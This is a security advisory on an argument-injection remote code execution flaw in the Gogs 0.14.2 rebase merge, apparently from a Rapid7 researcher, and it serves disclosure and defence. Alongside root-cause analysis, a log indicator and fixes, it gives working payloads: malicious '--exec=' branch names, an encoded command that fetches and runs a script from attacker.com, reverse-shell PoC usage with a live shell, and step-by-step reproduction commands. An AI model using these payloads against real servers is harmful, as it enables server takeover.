Prerequisites

The attacker needs one of the following:

• Repo admin/owner on any repository (can enable rebase + create PR + merge) - any user who creates a repo has this by default
• Write access to a repository where "Rebase before merging" is already enabled by the owner (can create malicious branch + PR + merge)

Note: "Rebase before merging" is NOT enabled by default (PullsAllowRebase defaults to false in internal/database/repo.go:215). However:

• Any user who creates their own repository is admin of that repo and can enable rebase via Settings > Advanced
• The repo settings endpoint (/settings, action=advanced) requires reqRepoAdmin middleware (internal/cmd/web.go:472) - collaborators with only write access cannot enable it, but repo owners/admins can
• Many organizations enable rebase merge as a standard practice

Root Cause Analysis

In internal/database/pull.go, the Merge() function passes the PR's base branch name to git rebase as a positional argument without a -- separator:

if _, stderr, err = process.ExecDir(-1, tmpBasePath,
    fmt.Sprintf("PullRequest.Merge (git rebase): %s", tmpBasePath),
    "git", "rebase", "--quiet", pr.BaseBranch, remoteHeadBranch); err != nil {

The pr.BaseBranch value originates from the URL parameter in internal/route/repo/pull.go:

baseRef := infos[0]  // from strings.Split(c.Params("*"), "...")

Both baseRef and headRef are validated via RevParse (defined in the external git-module library), but this only calls git rev-parse --verify <ref> - it checks that the ref resolves to a valid git object, not that it is safe against argument injection. Since the attacker pushes the malicious branch name to the repository, RevParse succeeds because the ref genuinely exists. The value is stored in the database and later passed as-is to the git rebase command without a -- separator.

Exploitation

Git branch names can legally contain characters $, {, }, =, -. The attacker creates a branch named:

--exec=touch${IFS}/tmp/rce_proof

When used as pr.BaseBranch in the rebase command:

git rebase --quiet '--exec=touch${IFS}/tmp/rce_proof' 'head_repo/feature'

1. Git's argument parser treats --exec=touch${IFS}/tmp/rce_proof as the --exec flag
2. The --exec flag specifies a command to run via sh -c after each replayed commit
3. ${IFS} expands to a space in the shell, bypassing git's prohibition on spaces in branch names
4. The command touch /tmp/rce_proof executes as the Gogs server process user

For commands containing characters forbidden in git refs (:, ~, ^, ?, *, [, \, //), such as URLs, the attacker base64-encodes the payload:

--exec=echo${IFS}<base64>|base64${IFS}-d|sh

For example, curl https://attacker.com/shell.sh|sh becomes:

--exec=echo${IFS}Y3VybCBodHRwczovL2F0dGFja2VyLmNvbS9zaGVsbC5zaHxzaA==|base64${IFS}-d|sh

This was validated end-to-end: a wget command with a URL executed inside the Docker container and wrote the fetched HTML to disk.

Full Execution Flow in Merge()

The MergeStyleRebase code path in Merge() executes these git commands sequentially:

Step 5 failure causes Merge() to return an error (HTTP 500), but the RCE has already executed at Step 3. The 500 error is logged but does not prevent exploitation. Defenders can look for this IOC in server logs:

[E] ...merge: git checkout '--exec=<...>': exit status 128 - error: unknown option `exec=<...>'

This is logged via c.Error(err, "merge") at ERROR level.

Why the PR Becomes Mergeable

The testPatch() function (called during PR creation at line 468) calls UpdateLocalCopyBranch(pr.BaseBranch) (internal/database/repo.go:658), which has two code paths:

• No local copy exists (first call for a repo): Calls git.Clone() (line 664), which includes --end-of-options → the malicious branch name is treated as data, clone succeeds, and testPatch completes normally.
• Local copy already exists (subsequent calls): Calls gitRepo.Checkout(branch) (line 684), which is missing --end-of-options → git interprets --exec=... as a flag → checkout fails → testPatch returns an error.

The exploit relies on the following causal chain:

1. During PR creation (NewPullRequest, line 468), testPatch() is called. For a fresh repository with no local copy, the Clone path succeeds.
2. Because testPatch didn't set the status to PullRequestStatusConflict, the status remains PullRequestStatusChecking, and the code at line 472-473 promotes it to PullRequestStatusMergeable.
3. The background TestPullRequests goroutine (line 840) periodically re-checks PRs. When it calls testPatch again, the local copy now exists, so UpdateLocalCopyBranch takes the Checkout path → fails → returns an error.
4. This error causes TestPullRequests to skip adding the PR to the update list (return nil at line 855) or skip checkAndUpdateStatus() (continue at line 877). Because checkAndUpdateStatus is never called, the PR status remains at Mergeable indefinitely.

The PoC handles this by creating a fresh repository (no local copy exists yet), ensuring the first testPatch succeeds via the Clone path.

Proof of Concept

A standalone Python exploit (gogs-rebase-rce.py) is attached to this advisory. It automates the full exploit chain (authentication, repo creation, rebase enablement, payload delivery, PR creation, merge trigger, and cleanup) and supports both Linux and Windows targets. Requires Python 3.8+, requests, and a local git installation.

Usage

# Reverse shell (Linux)
python3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 -l <LHOST> -x <LPORT>

# Reverse shell (Windows)
python3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 -l <LHOST> -x <LPORT> --os windows

# Custom command
python3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 -c 'id > /tmp/pwned'

# Version fingerprint only (no exploit)
python3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 --check

Demo

Run the PoC with a reverse shell payload:

python3 gogs-rebase-rce.py -t http://localhost:3080 -u attacker -p Password123 -l 172.17.0.1 -x 1337

[*] Fingerprinting target...
[+] Gogs 0.14.2 detected
[*] Authenticating as "attacker"
[+] Authenticated
[*] Creating repository
[+] Repository xxxx-yyyy created
[*] Enabling rebase merge
[+] Rebase merge enabled
[*] Pushing branches via git
[+] Branches pushed
[*] Creating pull request
[+] PR #1 created
[*] Triggering rebase merge - RCE fires now!
[+] Rebase merge triggered

Checking the listener:

$ nc -nlvp 1337
Listening on 0.0.0.0 1337
Connection received on 172.17.0.2 43240
$ whoami
git

Manual Browser Reproduction

This can be reproduced entirely through the Gogs web UI:

Prerequisites: A running Gogs instance (e.g., http://localhost:3080) with a registered user account.

Step 1: Create a repository and push branches

# Create repo via Gogs API
curl -s -u attacker:Password123 -X POST http://localhost:3080/api/v1/user/repos \
  -H 'Content-Type: application/json' -d '{"name":"demo"}'

# Set up local repo with divergent branches
mkdir /tmp/demo && cd /tmp/demo && git init
git config user.email "[email protected]" && git config user.name "attacker"
echo "# Demo" > README.md && git add . && git commit -m "Initial commit"
git checkout -b feature
echo "feature" > feature.txt && git add . && git commit -m "Add feature"
git checkout master
echo "update" >> README.md && git add . && git commit -m "Update master"

# Create the malicious branch (same commit as master)
git update-ref 'refs/heads/--exec=touch${IFS}/tmp/BROWSER_RCE_PROOF' HEAD

# Push all branches
git remote add origin http://attacker:Password123@localhost:3080/attacker/demo.git
git push origin master feature 'refs/heads/--exec=touch${IFS}/tmp/BROWSER_RCE_PROOF:refs/heads/--exec=touch${IFS}/tmp/BROWSER_RCE_PROOF'

Step 2: Enable rebase in repo settings

1. Navigate to http://localhost:3080/attacker/demo/settings
2. Click Advanced Settings
3. Check Enable Pull Requests, then check Allow rebase
4. Click Save

(Or update the database directly: UPDATE repository SET enable_pulls=1, pulls_allow_rebase=1 WHERE lower_name='demo';)

Step 3: Create the Pull Request

Navigate to the compare URL (base = malicious branch, head = feature):

http://localhost:3080/attacker/demo/compare/%2D%2Dexec%3Dtouch%24%7BIFS%7D%2Ftmp%2FBROWSER_RCE_PROOF...feature

Enter a title (e.g., "RCE PoC") and click New Pull Request.

Step 4: Wait for testPatch (~5 seconds)

The background TestPullRequests goroutine must set the PR to Mergeable. Wait a few seconds, then refresh the PR page. The merge button should appear.

Step 5: Trigger the merge

1. On the PR page (/attacker/demo/pulls/1), select Rebase before merging
2. Click Merge Pull Request
3. The server returns HTTP 500 (expected - git checkout of the malicious branch name fails after rebase)

Step 6: Verify RCE

$ ls -la /tmp/BROWSER_RCE_PROOF
-rw-rw-r-- 1 cryptocat cryptocat 0 Mar 16 18:02 /tmp/BROWSER_RCE_PROOF

The file was created by the Gogs server process during git rebase --exec

Recommended Fix

Primary fix: Add -- separator

// internal/database/pull.go line 282
"git", "rebase", "--quiet", "--", pr.BaseBranch, remoteHeadBranch

Defense-in-depth: Validate branch names

Reject base branch names starting with - at the PR creation endpoint:

// internal/route/repo/pull.go, after line 447
if strings.HasPrefix(baseRef, "-") {
    c.NotFound()
    return nil, nil, nil, nil, "", ""
}

Additional hardening

Apply -- separators to all other process.ExecDir calls in Merge() that use pr.BaseBranch:

• Line 233: git clone -b pr.BaseBranch (not directly exploitable but should be hardened)
• Line 297: git checkout pr.BaseBranch (currently fails, but should use -- pr.BaseBranch)
• Line 315: git push <repo> pr.BaseBranch (should use -- separator)

Relationship to Prior Argument Injection Fixes

This vulnerability is an incomplete fix bypass of the Category A argument injection invariant that Gogs has been patching across multiple advisories:

The git-module library (v1.8.7) was hardened with --end-of-options in Clone(), Push(), Fetch(), and 28 other call sites. However, the Merge() function in internal/database/pull.go bypasses all of these protections because it uses raw process.ExecDir (which wraps exec.Command directly) instead of the safe git-module API. The git rebase call was never migrated.

Notably, git-module.Checkout() is also missing --end-of-options — a separate gap that incidentally causes the testPatch race condition this exploit leverages (see "Why the PR Becomes Mergeable" above).

Affected Platforms

The vulnerability has been confirmed on:

• Linux: Docker (official image) and binary installation on Ubuntu 24.04
• Windows: Binary installation with Git for Windows (MSYS2)

On Windows, the base64 inline payload approach fails because NTFS forbids the | character in filenames (git stores refs as files). The exploit uses file-based payload delivery instead: the payload is committed as a script file, and the branch name becomes --exec=sh${IFS}<filename>. An sh wrapper invokes cmd.exe //c <payload>.bat to avoid MSYS2 shell metacharacter mangling. The attached PoC handles this automatically.

Test Environment

• OS: Ubuntu Linux 24.04, Windows (Git for Windows)
• Gogs version: 0.14.2 (also confirmed on 0.15.0+dev, commit b53d3162)
• Go version: go1.26.1
• Database: SQLite
• Deployment: Docker (official image), binary, and built from source

Credit

Jonah Burgess (CryptoCat) - Senior Security Researcher @Rapid7